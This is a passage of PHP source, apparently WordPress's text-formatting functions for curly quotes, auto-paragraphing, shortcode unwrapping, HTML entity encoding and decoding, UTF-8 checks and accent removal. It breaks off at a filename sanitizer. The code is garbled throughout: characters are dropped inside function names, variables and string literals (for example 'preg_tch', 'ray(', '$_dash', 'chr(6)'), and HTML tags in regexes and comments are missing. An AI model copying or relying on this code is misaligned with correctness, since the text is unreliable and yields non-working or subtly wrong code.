* 'cause today's effort makes it wor tomorrow's "holiday"... * * Becomes: * * ’cause today’s effort makes it worth tomorrow’s “holiday”… * * Code within certain html blocks are skipped. * * @since 0.71 * @uses $wp_cockneyreplace Array of formatted entities for certain common phrases * * @param string $text The text to be formatted * @return string The string replaced with html entities */ function wptexturize($text) { global $wp_cockneyreplace; static $static_characters, $static_replacemts, $dynamic_characters, $dynamic_replacements, $default_no_texturize_tags, $default_no_texturize_shortcodes; // No need to set up these static variables more than once if ( ! isset( $static_characters ) ) { /* translators: opening curly double quote */ $opening_quote = _x( '“', 'opening curly double quote' ); /* translators: closing curly double quote */ $closing_quote = _x( '”', 'closing curly double quote' ); /* translators: apostrophe, for example in 'cause or can't */ $apos = _x( '’',apostrophe' ); /* translators: prime, for example in 9' (nine feet) */ $prime = _x( '′', 'prime' ); /* translators: double prime, for example in 9" (nine inches) */ $double_prime = _x( '″', 'double prime' ); /* translators: opening curly single quote */ $opening_single_quote = _x( '‘', 'opening curly single quote' ); /* translators: closing curly single quote */ $closing_single_quote = _x( '’', 'closing curly single quote' ); /* translators: en dash */ $en_dash = _x( '–', n dash' ); /* translators: em dash */ $em_dash = _x( '—', 'em dash' ); $default_no_texturize_tags = array('pre', 'code', 'kbd', 'style', 'script', 'tt'); $default_no_texturize_shortcodes = array('code'); // if a plugin has provided an autocorrect array, use it if ( isset($wp_cockneyreplace) ) { $cockney = array_keys($wp_cockneyreplace); $cockneyreplace = array_values($wp_cockneyreplace); } elseif ( "'" != $apos ) { // Only bother if we're doing a replacement. $cockney = array( "'tain't", "'twer, "'twas", "'tis", "'twill", "'til", "'bout", "'nuff", "'round", "'cause" ); $cockneyreplace = array( $apos . "tain" . $apos . "t", $apos . "twere", $apos . "twas", $apos . "tis", $apos . "twill", $apos . "til", $apos . "bout", $apos . "nuff", $apos . "round", $apos . "cause" ); } else { $cockney = $cockneyreplace = array(); } $static_characters = array_merge( array( '---', ' -- ', '--', ' - ', 'xn–', '...', '``', '\'\'', ' (tm)' ), $cockney ); $static_replacements = array_merge( array( $em_dash, ' ' . $_dash . ' ', $en_dash, ' ' . $en_dash . ' ', 'xn--', '…', $opening_quote, $closing_quote, ' ™' ), $cockneyreplace ); $dynamic = array(); if ( "'" != $apos ) { $dynamic[ '/\'(\d\d(?:’|\')?s)/' ] = $apos . '$1'; // '99's $dynamic[ '/\'(\d)/' ] = $apos . '$1'; // '99 } if ( "'" != $opening_single_quote ) $dynamic[ '/(\s|\A|[([{<]|")\'/' ] = '$1' . $opening_single_quote; // opening single quote, even after (, {, <, [ if ( '"' != $double_prime ) $dynamic[ '/(\d)"/' ] = '$1' . $double_prime; // 9" (double prime) if ( "'" != $prime ) $dynamic[ '/(\d)\'/' ] = '$1' . $prime; // 9' (prime) if ( "'" != $apos ) $dynamic[ '/(\S)\'([^\'\s])/' ] = '$1' . $apos . '$2'; // apostrophe in a word if ( '"' != $opening_quote ) $dynamic[ '/(\s|\A|[([{<])"(?!\s)/' ] = '$1' . $opening_quote . '$2'; // opening double quote, even after (, {, <, [ if ( '"' != $closing_quote ) $dynamic[ '/"(\s|\S|\Z)/' ] = $closing_quote . '$1'; /closing double quote if ( "'" != $closing_single_quote ) $dynamic[ '/\'([\s.]|\Z)/' ] = $closing_single_quote . '$1'; // closing single quote $dynamic[ '/\b(\d+)x(\d+)\b/' ] = '$1×$2'; // 9x9 (times) $dynamic_characters = array_keys( $dynamic ); $dynamic_replacements = array_values( $dynamic ); } // Transform into regexp sub-expression used in _wptexturize_pushpop_element // Must do this every time in case plugins use these filters in a context sensitive manner $no_texturize_ta = '(' . implode('|', apply_filters('no_texturize_tags', $default_no_texturize_tags) ) . ')'; $no_texturize_shortcodes = '(' . implode('|', apply_filters('no_texturize_shortcodes', $default_no_texturize_shortcodes) ) . ')'; $no_texturize_tags_stack = array(); $no_texturize_shortcodes_stack = array(); $textarr = preg_split('/(<.*>|\[.*\])/Us', $text, -1, PREG_SPLIT_DELIM_CAPTURE); foreach ( $textarr as &$curl ) { if ( empty( $curl ) ) continue; // Only call _wptexturize_pushpop_element if first char is correctag opening $first = $curl[0]; if ( '<' === $first ) { _wptexturize_pushpop_element($curl, $no_texturize_tags_stack, $no_texturize_tags, '<', '>'); } elseif ( '[' === $first ) { _wptexturize_pushpop_element($curl, $no_texturize_shortcodes_stack, $no_texturize_shortcodes, '[', ']'); } elseif ( empty($no_texturize_shortcodes_stack) && empty($no_texturize_tags_stack) ) { // This is not a tag, nor is the texturization disabled static strings $curl = str_replace($static_characters, $static_replacements, $curl); // regular expressions $curl = preg_replace($dynamic_characters, $dynamic_replacements, $curl); } $curl = preg_replace('/&([^#])(?![a-zA-Z1-4]{1,8};)/', '&$1', $curl); } return implode( '', $textarr ); } /** * Search for disabled element tags. Push element to stack on tag open and pop * on tag close. Assumes first character of $text is tag opening. * * @access private * @since 2.9.0 * * @param string $text Text to check. First character is assumed to be $opening * @param array $stack Array used as stk of opened tag elements * @param string $disabled_elements Tags to match against formatted as regexp sub-expression * @param string $opening Tag opening character, assumed to be 1 character long * @param string $closing Tag closing character */ function _wptexturize_pushpop_element($text, &$stack, $disabled_elements, $opening = '<', $closing = '>') { // Check if it is a closing tag -- otherwise assume opening tag if (strncmp($opening . '/', $text, 2)) { // Opening? Check $text+1 against disabled elements if (preg_tch('/^' . $disabled_elements . '\b/', substr($text, 1), $matches)) { /* * This disables texturize until we find a closing tag of our type * (e.g.
) even if there was invalid nesting before that
			 *
			 * Example: in the case 
sadsadasd"baba"
* "baba" won't be texturize */ array_push($stack, $matches[1]); } } else { // Closing? Check $text+2 against disabled elements $c = preg_quote($closing, '/'); if (preg_match('/^' . $disabled_elements . $c . '/', substr($te, 2), $matches)) { $last = array_pop($stack); // Make sure it matches the opening tag if ($last != $matches[1]) array_push($stack, $last); } } } /** * Replaces double line-breaks with paragraph elements. * * A group of regex replaces used to identify text formatted with newlines and * replace double line-breaks with HTML paragraph tags. The remaining * line-breaks after conversion become <
> tags, unless $br is set to '0' * or 'false'. * * @since 0.71 * * @param string $pee The text which haso be formatted. * @param bool $br Optional. If set, this will convert all remaining line-breaks after paragraphing. Default true. * @return string Text which has been converted into correct paragraph tags. */ function wpautop($pee, $br = true) { $pre_tags = array(); if ( trim($pee) === '' ) return ''; $pee = $pee . "\n"; // just to make things a little easier, pad the end if ( strpos($pee, '', $pee ); $last_pee = array_pop($pee_parts); $pee = ''; $i = 0; foreach ( $pee_parts as $pee_part ) { $start = strpos($pee_part, ''; $pee .= substr( $pee_part, 0, $start ) . $name; $i++; } $pee .= $last_pee; } $pee = preg_replace('|
\s*
|', "\n\n", $pee); // Space things out a little $allblocks = '(?:table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dld|dt|ul|ol|li|pre|select|option|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|noscript|samp|legend|section|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary)'; $pee = preg_replace('!(<' . $allblocks . '[^>]*>)!', "\n$1", $pee); $pee = preg_replace('!()!', "$1\n\n", $pee); $pee = str_replace(array("\r\n", "\r"), "\n", $pee); // cross-platform newlines if ( strpos($pee, ']*)>\s*|', "", $e); // no pee inside object/embed $pee = preg_replace('|\s*\s*|', '', $pee); } $pee = preg_replace("/\n\n+/", "\n\n", $pee); // take care of duplicates // make paragraphs, including one at the end $pees = preg_split('/\n\s*\n/', $pee, -1, PREG_SPLIT_NO_EMPTY); $pee = ''; foreach ( $pees as $tinkle ) $pee .= '

' . trim($tinkle, "\n") . "

\n"; $pee = preg_replace('|

\s*

|', '', $pee); // under certain strange conditions it could create a P of entirely whitespace $pee = preg_replace('!

([]+)!', "

$1

", $pee); $pee = preg_replace('!

\s*(]*>)\s*

!', "$1", $pee); // don't pee all over a tag $pee = preg_replace("|

(|", "$1", $pee); // problem with nested lists $pee = preg_replace('|

]*)>|i', "

", $pee); $pee = str_replace('

', '

', $pee); $pee = preg_replace('!

\s*(]*>)!', "$1", $pee); $pee = preg_replace('!(]*>)\s*

!'"$1", $pee); if ( $br ) { $pee = preg_replace_callback('/<(script|style).*?<\/\\1>/s', '_autop_newline_preservation_helper', $pee); $pee = preg_replace('|(?)\s*\n|', "
\n", $pee); // optionally make line breaks $pee = str_replace('', "\n", $pee); } $pee = preg_replace('!(]*>)\s*
!', "$1", $pee); $pee = preg_replace('!
(\s*]*>)!', '$1', $pee); $pee = preg_replace( "|\n

$|", '

', $pee ); if ( !emptypre_tags) ) $pee = str_replace(array_keys($pre_tags), array_values($pre_tags), $pee); return $pee; } /** * Newline preservation help function for wpautop * * @since 3.1.0 * @access private * @param array $matches preg_replace_callback matches array * @return string */ function _autop_newline_preservation_helper( $matches ) { return str_replace("\n", "", $matches[0]); } /** * Don't auto-p wrap shortcodes that stand alone * * Ensures that shortcodes are not wrapped in <

>...<

>. * *since 2.9.0 * * @param string $pee The content. * @return string The filtered content. */ function shortcode_unautop( $pee ) { global $shortcode_tags; if ( empty( $shortcode_tags ) || !is_array( $shortcode_tags ) ) { return $pee; } $tagregexp = join( '|', array_map( 'preg_quote', array_keys( $shortcode_tags ) ) ); $pattern = '/' . '

' // Opening paragraph . '\\s*+' // Optional leading whitespace . '(' // 1: The shtcode . '\\[' // Opening bracket . "($tagregexp)" // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen // Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Noa closing bracket or forward slash . ')*?' . '(?:' . '\\/\\]' // Self closing tag and closing bracket . '|' . '\\]' // Closing bracket . '(?:' // Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag '[^\\[]*+' // Not an opening bracket . ')*+' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . ')' . '\\s*+' // optional trailing whitespace . '<\\/p>' // closing paragraph . '/s'; return preg_replace( $pattern, '$1', $pee ); } /** * Checks to see if a string is utf8 encoded. * * NOTE: This function checks for 5-Byte sequences, UTF8 * has Bytes Sequences with a maximum ngth of 4. * * @author bmorel at ssi dot fr (modified) * @since 1.2.1 * * @param string $str The string to be checked * @return bool True if $str fits a UTF-8 model, false otherwise. */ function seems_utf8($str) { $length = strlen($str); for ($i=0; $i < $length; $i++) { $c = ord($str[$i]); if ($c < 0x80) $n = 0; # 0bbbbbbb elseif (($c & 0xE0) == 0xC0) $n=1; # 110bbbbb elseif (($c & 0xF0) == 0xE0) $n=2; # 1110bbbb elseif (($c & 0xF8) == 0xF0) $n=3; # 11110bbb elseif (($c & 0xFC) == 0xF8) $n=4; # 111110bb elseif (($c & 0xFE) == 0xFC) $n=5; # 1111110b else return false; # Does not match any model for ($j=0; $j<$n; $j++) { # n bytes matching 10bbbbbb follow ? if ((++$i == $length) || ((ord($str[$i]) & 0xC0) != 0x80)) return false; } } return true; } /** * Converts a number of special characters into their HTML entities. * * Specifically deals with: &, <, >, ", and '. * * $quote_style can be set to ENT_COMPAT to encode " to * ", or ENT_QUOTES to do both. Default is ENT_NOQUOTES where no quotes are encod. * * @since 1.2.2 * * @param string $string The text which is to be encoded. * @param mixed $quote_style Optional. Converts double quotes if set to ENT_COMPAT, both single and double if set to ENT_QUOTES or none if set to ENT_NOQUOTES. Also compatible with old values; converting single quotes if set to 'single', double if set to 'double' or both if otherwise set. Default is ENT_NOQUOTES. * @param string $charset Optional. The character encoding of the string. Default is false. * @param boolean $double_encode Optiona Whether to encode existing html entities. Default is false. * @return string The encoded text with HTML entities. */ function _wp_specialchars( $string, $quote_style = ENT_NOQUOTES, $charset = false, $double_encode = false ) { $string = (string) $string; if ( 0 === strlen( $string ) ) return ''; // Don't bother if there are no specialchars - saves some processing if ( ! preg_match( '/[&<>"\']/', $string ) ) return $string; // Account for the previous behaviour of the function when the $quote_style is not an acpted value if ( empty( $quote_style ) ) $quote_style = ENT_NOQUOTES; elseif ( ! in_array( $quote_style, array( 0, 2, 3, 'single', 'double' ), true ) ) $quote_style = ENT_QUOTES; // Store the site charset as a static to avoid multiple calls to wp_load_alloptions() if ( ! $charset ) { static $_charset; if ( ! isset( $_charset ) ) { $alloptions = wp_load_alloptions(); $_charset = isset( $alloptions['blog_charset'] ) ? $alloptions['blog_charset'] : ''; } $charset = $_charset; } if ( in_array( $charset, ray( 'utf8', 'utf-8', 'UTF8' ) ) ) $charset = 'UTF-8'; $_quote_style = $quote_style; if ( $quote_style === 'double' ) { $quote_style = ENT_COMPAT; $_quote_style = ENT_COMPAT; } elseif ( $quote_style === 'single' ) { $quote_style = ENT_NOQUOTES; } // Handle double encoding ourselves if ( $double_encode ) { $string = @htmlspecialchars( $string, $quote_style, $charset ); } else { // Decode & into & $string = wp_specialchars_decode( $string, $_quote_style ); // Guarantee every &entity; is valid or -encode the & $string = wp_kses_normalize_entities( $string ); // Now re-encode everything except &entity; $string = preg_split( '/(&#?x?[0-9a-z]+;)/i', $string, -1, PREG_SPLIT_DELIM_CAPTURE ); for ( $i = 0; $i < count( $string ); $i += 2 ) $string[$i] = @htmlspecialchars( $string[$i], $quote_style, $charset ); $string = implode( '', $string ); } // Backwards compatibility if ( 'single' === $_quote_style ) $string = str_replace( "'", ''', $string ); return $string; } /** * Converts a number of ML entities into their special characters. * * Specifically deals with: &, <, >, ", and '. * * $quote_style can be set to ENT_COMPAT to decode " entities, * or ENT_QUOTES to do both " and '. Default is ENT_NOQUOTES where no quotes are decoded. * * @since 2.8 * * @param string $string The text which is to be decoded. * @param mixed $quote_style Optional. Converts double quotes if set to ENT_COMPAT, both single and double if set to ENT_QUOTES or none if set to ENT_NOQUOTES. Also compatible with old _wp_specialchars()alues; converting single quotes if set to 'single', double if set to 'double' or both if otherwise set. Default is ENT_NOQUOTES. * @return string The decoded text without HTML entities. */ function wp_specialchars_decode( $string, $quote_style = ENT_NOQUOTES ) { $string = (string) $string; if ( 0 === strlen( $string ) ) { return ''; } // Don't bother if there are no entities - saves a lot of processing if ( strpos( $string, '&' ) === false ) { return $string; } // Match the previous behaviour of _wp_specialchs() when the $quote_style is not an accepted value if ( empty( $quote_style ) ) { $quote_style = ENT_NOQUOTES; } elseif ( !in_array( $quote_style, array( 0, 2, 3, 'single', 'double' ), true ) ) { $quote_style = ENT_QUOTES; } // More complete than get_html_translation_table( HTML_SPECIALCHARS ) $single = array( ''' => '\'', ''' => '\'' ); $single_preg = array( '/�*39;/' => ''', '/�*27;/i' => ''' ); $double = array( '"' => '"', '"' => '"', '"' => '"' ); $double_preg = arr( '/�*34;/' => '"', '/�*22;/i' => '"' ); $others = array( '<' => '<', '<' => '<', '>' => '>', '>' => '>', '&' => '&', '&' => '&', '&' => '&' ); $others_preg = array( '/�*60;/' => '<', '/�*62;/' => '>', '/�*38;/' => '&', '/�*26;/i' => '&' ); if ( $quote_style === ENT_QUOTES ) { $translation = array_merge( $single, $double, $others ); $translation_preg = array_merge( $single_preg, $double_preg, $others_preg ); } elseif ( $quote_style== ENT_COMPAT || $quote_style === 'double' ) { $translation = array_merge( $double, $others ); $translation_preg = array_merge( $double_preg, $others_preg ); } elseif ( $quote_style === 'single' ) { $translation = array_merge( $single, $others ); $translation_preg = array_merge( $single_preg, $others_preg ); } elseif ( $quote_style === ENT_NOQUOTES ) { $translation = $others; $translation_preg = $others_preg; } // Remove zero padding on numeric entities $string = preg_replace( array_keys( $translation_preg array_values( $translation_preg ), $string ); // Replace characters according to translation table return strtr( $string, $translation ); } /** * Checks for invalid UTF8 in a string. * * @since 2.8 * * @param string $string The text which is to be checked. * @param boolean $strip Optional. Whether to attempt to strip out invalid UTF8. Default is false. * @return string The checked text. */ function wp_check_invalid_utf8( $string, $strip = false ) { $string = (string) $string; if ( 0 === strlen( $string ) ) { return ''; } // Store the site charset as a static to avoid multiple calls to get_option() static $is_utf8; if ( !isset( $is_utf8 ) ) { $is_utf8 = in_array( get_option( 'blog_charset' ), array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ) ); } if ( !$is_utf8 ) { return $string; } // Check for support for utf8 in the installed PCRE library once and store the result in a static static $utf8_pcre; if ( !isset( $utf8_pcre ) ) { $utf8_pcre = @preg_match( '/^./u', 'a' ); } // We can't demand utf8 in the PCRE installationso just return the string in those cases if ( !$utf8_pcre ) { return $string; } // preg_match fails when it encounters invalid UTF8 in $string if ( 1 === @preg_match( '/^./us', $string ) ) { return $string; } // Attempt to strip the bad chars if requested (not recommended) if ( $strip && function_exists( 'iconv' ) ) { return iconv( 'utf-8', 'utf-8', $string ); } return ''; } /** * Encode the Unicode values to be used in the URI. * * @since 1.5.0 * * @param string $utf8_string * @param int $length Maxength of the string * @return string String with Unicode encoded for URI. */ function utf8_uri_encode( $utf8_string, $length = 0 ) { $unicode = ''; $values = array(); $num_octets = 1; $unicode_length = 0; $string_length = strlen( $utf8_string ); for ($i = 0; $i < $string_length; $i++ ) { $value = ord( $utf8_string[ $i ] ); if ( $value < 128 ) { if ( $length && ( $unicode_length >= $length ) ) break; $unicode .= chr($value); $unicode_length++; } else { if ( count( $values ) == 0 ) $num_octets ( $value < 224 ) ? 2 : 3; $values[] = $value; if ( $length && ( $unicode_length + ($num_octets * 3) ) > $length ) break; if ( count( $values ) == $num_octets ) { if ($num_octets == 3) { $unicode .= '%' . dechex($values[0]) . '%' . dechex($values[1]) . '%' . dechex($values[2]); $unicode_length += 9; } else { $unicode .= '%' . dechex($values[0]) . '%' . dechex($values[1]); $unicode_length += 6; } $values = array(); $num_octets = 1; } } } return $unicode; } /** *onverts all accent characters to ASCII characters. * * If there are no accent characters, then the string given is just returned. * * @since 1.2.1 * * @param string $string Text that might have accent characters * @return string Filtered string with replaced "nice" characters. */ function remove_accents($string) { if ( !preg_match('/[\x80-\xff]/', $string) ) return $string; if (seems_utf8($string)) { $chars = array( // Decompositions for Latin-1 Supplement chr(194).chr(170) => 'a', chr(194).chr(186) => 'o' chr(195).chr(128) => 'A', chr(195).chr(129) => 'A', chr(195).chr(130) => 'A', chr(195).chr(131) => 'A', chr(195).chr(132) => 'A', chr(195).chr(133) => 'A', chr(195).chr(134) => 'AE',chr(195).chr(135) => 'C', chr(195).chr(136) => 'E', chr(195).chr(137) => 'E', chr(195).chr(138) => 'E', chr(195).chr(139) => 'E', chr(195).chr(140) => 'I', chr(195).chr(141) => 'I', chr(195).chr(142) => 'I', chr(195).chr(143) => 'I', chr(195).chr(144) => 'D', chr(195).chr(145) => 'N', chr(195).chr(146) => 'O', chr(195).chr(147=> 'O', chr(195).chr(148) => 'O', chr(195).chr(149) => 'O', chr(195).chr(150) => 'O', chr(195).chr(153) => 'U', chr(195).chr(154) => 'U', chr(195).chr(155) => 'U', chr(195).chr(156) => 'U', chr(195).chr(157) => 'Y', chr(195).chr(158) => 'TH',chr(195).chr(159) => 's', chr(195).chr(160) => 'a', chr(195).chr(161) => 'a', chr(195).chr(162) => 'a', chr(195).chr(163) => 'a', chr(195).chr(164) => 'a', chr(195).chr(165) => 'a', chr(195).chr(166) => 'ae',chr(195).chr(167) => 'c', chr(195).chr(168) => 'e', chr(195)hr(169) => 'e', chr(195).chr(170) => 'e', chr(195).chr(171) => 'e', chr(195).chr(172) => 'i', chr(195).chr(173) => 'i', chr(195).chr(174) => 'i', chr(195).chr(175) => 'i', chr(195).chr(176) => 'd', chr(195).chr(177) => 'n', chr(195).chr(178) => 'o', chr(195).chr(179) => 'o', chr(195).chr(180) => 'o', chr(195).chr(181) => 'o', chr(195).chr(182) => 'o', chr(195).chr(184) => 'o', chr(195).chr(185) => 'u', chr(195).chr(186) => 'u', chr(195).chr(187) => 'u', chr(195).chr(188) => 'u', chr(195).chr(189) => 'y', r(195).chr(190) => 'th', chr(195).chr(191) => 'y', chr(195).chr(152) => 'O', // Decompositions for Latin Extended-A chr(196).chr(128) => 'A', chr(196).chr(129) => 'a', chr(196).chr(130) => 'A', chr(196).chr(131) => 'a', chr(196).chr(132) => 'A', chr(196).chr(133) => 'a', chr(196).chr(134) => 'C', chr(196).chr(135) => 'c', chr(196).chr(136) => 'C', chr(196).chr(137) => 'c', chr(196).chr(138) => 'C', chr(196).chr(139) => 'c', chr(196).chr(140) => 'C', chr(196).chr(141) => 'c', chr(196).chr(142) => 'D', chr(6).chr(143) => 'd', chr(196).chr(144) => 'D', chr(196).chr(145) => 'd', chr(196).chr(146) => 'E', chr(196).chr(147) => 'e', chr(196).chr(148) => 'E', chr(196).chr(149) => 'e', chr(196).chr(150) => 'E', chr(196).chr(151) => 'e', chr(196).chr(152) => 'E', chr(196).chr(153) => 'e', chr(196).chr(154) => 'E', chr(196).chr(155) => 'e', chr(196).chr(156) => 'G', chr(196).chr(157) => 'g', chr(196).chr(158) => 'G', chr(196).chr(159) => 'g', chr(196).chr(160) => 'G', chr(196).chr(161) => 'g', chr(196).chr(162) => ', chr(196).chr(163) => 'g', chr(196).chr(164) => 'H', chr(196).chr(165) => 'h', chr(196).chr(166) => 'H', chr(196).chr(167) => 'h', chr(196).chr(168) => 'I', chr(196).chr(169) => 'i', chr(196).chr(170) => 'I', chr(196).chr(171) => 'i', chr(196).chr(172) => 'I', chr(196).chr(173) => 'i', chr(196).chr(174) => 'I', chr(196).chr(175) => 'i', chr(196).chr(176) => 'I', chr(196).chr(177) => 'i', chr(196).chr(178) => 'IJ',chr(196).chr(179) => 'ij', chr(196).chr(180) => 'J', chr(196).chr(181) => 'j', chr(196).chr(2) => 'K', chr(196).chr(183) => 'k', chr(196).chr(184) => 'k', chr(196).chr(185) => 'L', chr(196).chr(186) => 'l', chr(196).chr(187) => 'L', chr(196).chr(188) => 'l', chr(196).chr(189) => 'L', chr(196).chr(190) => 'l', chr(196).chr(191) => 'L', chr(197).chr(128) => 'l', chr(197).chr(129) => 'L', chr(197).chr(130) => 'l', chr(197).chr(131) => 'N', chr(197).chr(132) => 'n', chr(197).chr(133) => 'N', chr(197).chr(134) => 'n', chr(197).chr(135) => 'N', chr(197).chr(136) => 'n', chr(197).chr(137) => 'N', chr(1).chr(138) => 'n', chr(197).chr(139) => 'N', chr(197).chr(140) => 'O', chr(197).chr(141) => 'o', chr(197).chr(142) => 'O', chr(197).chr(143) => 'o', chr(197).chr(144) => 'O', chr(197).chr(145) => 'o', chr(197).chr(146) => 'OE',chr(197).chr(147) => 'oe', chr(197).chr(148) => 'R',chr(197).chr(149) => 'r', chr(197).chr(150) => 'R',chr(197).chr(151) => 'r', chr(197).chr(152) => 'R',chr(197).chr(153) => 'r', chr(197).chr(154) => 'S',chr(197).chr(155) => 's', chr(197).chr(156) => 'S',chr(197).chr(157) => 's', c(197).chr(158) => 'S',chr(197).chr(159) => 's', chr(197).chr(160) => 'S', chr(197).chr(161) => 's', chr(197).chr(162) => 'T', chr(197).chr(163) => 't', chr(197).chr(164) => 'T', chr(197).chr(165) => 't', chr(197).chr(166) => 'T', chr(197).chr(167) => 't', chr(197).chr(168) => 'U', chr(197).chr(169) => 'u', chr(197).chr(170) => 'U', chr(197).chr(171) => 'u', chr(197).chr(172) => 'U', chr(197).chr(173) => 'u', chr(197).chr(174) => 'U', chr(197).chr(175) => 'u', chr(197).chr(176) => 'U', chr(197).chr(177) => ', chr(197).chr(178) => 'U', chr(197).chr(179) => 'u', chr(197).chr(180) => 'W', chr(197).chr(181) => 'w', chr(197).chr(182) => 'Y', chr(197).chr(183) => 'y', chr(197).chr(184) => 'Y', chr(197).chr(185) => 'Z', chr(197).chr(186) => 'z', chr(197).chr(187) => 'Z', chr(197).chr(188) => 'z', chr(197).chr(189) => 'Z', chr(197).chr(190) => 'z', chr(197).chr(191) => 's', // Decompositions for Latin Extended-B chr(200).chr(152) => 'S', chr(200).chr(153) => 's', chr(200).chr(154) => 'T', chr(200).chr(155) => 't', / Euro Sign chr(226).chr(130).chr(172) => 'E', // GBP (Pound) Sign chr(194).chr(163) => '', // Vowels with diacritic (Vietnamese) // unmarked chr(198).chr(160) => 'O', chr(198).chr(161) => 'o', chr(198).chr(175) => 'U', chr(198).chr(176) => 'u', // grave accent chr(225).chr(186).chr(166) => 'A', chr(225).chr(186).chr(167) => 'a', chr(225).chr(186).chr(176) => 'A', chr(225).chr(186).chr(177) => 'a', chr(225).chr(187).chr(128) => 'E', chr(225).chr(187).chr(129) => 'e', chr(225).chr(187).chr(146) => 'O',hr(225).chr(187).chr(147) => 'o', chr(225).chr(187).chr(156) => 'O', chr(225).chr(187).chr(157) => 'o', chr(225).chr(187).chr(170) => 'U', chr(225).chr(187).chr(171) => 'u', chr(225).chr(187).chr(178) => 'Y', chr(225).chr(187).chr(179) => 'y', // hook chr(225).chr(186).chr(162) => 'A', chr(225).chr(186).chr(163) => 'a', chr(225).chr(186).chr(168) => 'A', chr(225).chr(186).chr(169) => 'a', chr(225).chr(186).chr(178) => 'A', chr(225).chr(186).chr(179) => 'a', chr(225).chr(186).chr(186) => 'E', chr(225).chr(186)hr(187) => 'e', chr(225).chr(187).chr(130) => 'E', chr(225).chr(187).chr(131) => 'e', chr(225).chr(187).chr(136) => 'I', chr(225).chr(187).chr(137) => 'i', chr(225).chr(187).chr(142) => 'O', chr(225).chr(187).chr(143) => 'o', chr(225).chr(187).chr(148) => 'O', chr(225).chr(187).chr(149) => 'o', chr(225).chr(187).chr(158) => 'O', chr(225).chr(187).chr(159) => 'o', chr(225).chr(187).chr(166) => 'U', chr(225).chr(187).chr(167) => 'u', chr(225).chr(187).chr(172) => 'U', chr(225).chr(187).chr(173) => 'u', chr(225)hr(187).chr(182) => 'Y', chr(225).chr(187).chr(183) => 'y', // tilde chr(225).chr(186).chr(170) => 'A', chr(225).chr(186).chr(171) => 'a', chr(225).chr(186).chr(180) => 'A', chr(225).chr(186).chr(181) => 'a', chr(225).chr(186).chr(188) => 'E', chr(225).chr(186).chr(189) => 'e', chr(225).chr(187).chr(132) => 'E', chr(225).chr(187).chr(133) => 'e', chr(225).chr(187).chr(150) => 'O', chr(225).chr(187).chr(151) => 'o', chr(225).chr(187).chr(160) => 'O', chr(225).chr(187).chr(161) => 'o', chr(225).chr(187).chr(174=> 'U', chr(225).chr(187).chr(175) => 'u', chr(225).chr(187).chr(184) => 'Y', chr(225).chr(187).chr(185) => 'y', // acute accent chr(225).chr(186).chr(164) => 'A', chr(225).chr(186).chr(165) => 'a', chr(225).chr(186).chr(174) => 'A', chr(225).chr(186).chr(175) => 'a', chr(225).chr(186).chr(190) => 'E', chr(225).chr(186).chr(191) => 'e', chr(225).chr(187).chr(144) => 'O', chr(225).chr(187).chr(145) => 'o', chr(225).chr(187).chr(154) => 'O', chr(225).chr(187).chr(155) => 'o', chr(225).chr(187).chr(168) => 'U', r(225).chr(187).chr(169) => 'u', // dot below chr(225).chr(186).chr(160) => 'A', chr(225).chr(186).chr(161) => 'a', chr(225).chr(186).chr(172) => 'A', chr(225).chr(186).chr(173) => 'a', chr(225).chr(186).chr(182) => 'A', chr(225).chr(186).chr(183) => 'a', chr(225).chr(186).chr(184) => 'E', chr(225).chr(186).chr(185) => 'e', chr(225).chr(187).chr(134) => 'E', chr(225).chr(187).chr(135) => 'e', chr(225).chr(187).chr(138) => 'I', chr(225).chr(187).chr(139) => 'i', chr(225).chr(187).chr(140) => 'O', chr(225).chr(7).chr(141) => 'o', chr(225).chr(187).chr(152) => 'O', chr(225).chr(187).chr(153) => 'o', chr(225).chr(187).chr(162) => 'O', chr(225).chr(187).chr(163) => 'o', chr(225).chr(187).chr(164) => 'U', chr(225).chr(187).chr(165) => 'u', chr(225).chr(187).chr(176) => 'U', chr(225).chr(187).chr(177) => 'u', chr(225).chr(187).chr(180) => 'Y', chr(225).chr(187).chr(181) => 'y', // Vowels with diacritic (Chinese, Hanyu Pinyin) chr(201).chr(145) => 'a', // macron chr(199).chr(149) => 'U', chr(199).chr(150) => 'u', // ute accent chr(199).chr(151) => 'U', chr(199).chr(152) => 'u', // caron chr(199).chr(141) => 'A', chr(199).chr(142) => 'a', chr(199).chr(143) => 'I', chr(199).chr(144) => 'i', chr(199).chr(145) => 'O', chr(199).chr(146) => 'o', chr(199).chr(147) => 'U', chr(199).chr(148) => 'u', chr(199).chr(153) => 'U', chr(199).chr(154) => 'u', // grave accent chr(199).chr(155) => 'U', chr(199).chr(156) => 'u', ); $string = strtr($string, $chars); } else { // Assume ISO-8859-1 if not UTF-8 $chars['in'] = chr(128chr(131).chr(138).chr(142).chr(154).chr(158) .chr(159).chr(162).chr(165).chr(181).chr(192).chr(193).chr(194) .chr(195).chr(196).chr(197).chr(199).chr(200).chr(201).chr(202) .chr(203).chr(204).chr(205).chr(206).chr(207).chr(209).chr(210) .chr(211).chr(212).chr(213).chr(214).chr(216).chr(217).chr(218) .chr(219).chr(220).chr(221).chr(224).chr(225).chr(226).chr(227) .chr(228).chr(229).chr(231).chr(232).chr(233).chr(234).chr(235) .chr(236).chr(237).chr(238).chr(239).chr(241).chr(242).chr(243) .chr(244).chr45).chr(246).chr(248).chr(249).chr(250).chr(251) .chr(252).chr(253).chr(255); $chars['out'] = "EfSZszYcYuAAAAAACEEEEIIIINOOOOOOUUUUYaaaaaaceeeeiiiinoooooouuuuyy"; $string = strtr($string, $chars['in'], $chars['out']); $double_chars['in'] = array(chr(140), chr(156), chr(198), chr(208), chr(222), chr(223), chr(230), chr(240), chr(254)); $double_chars['out'] = array('OE', 'oe', 'AE', 'DH', 'TH', 'ss', 'ae', 'dh', 'th'); $string = str_replace($double_chars['in'], $double_chars['out'], $string); } return $string} /** * Sanitizes a filename replacing whitespace with dashes * * Removes special characters that are illegal in filenames on certain * operating systems and special characters requiring special escaping * to manipulate at the command line. Replaces spaces and consecutive * dashes 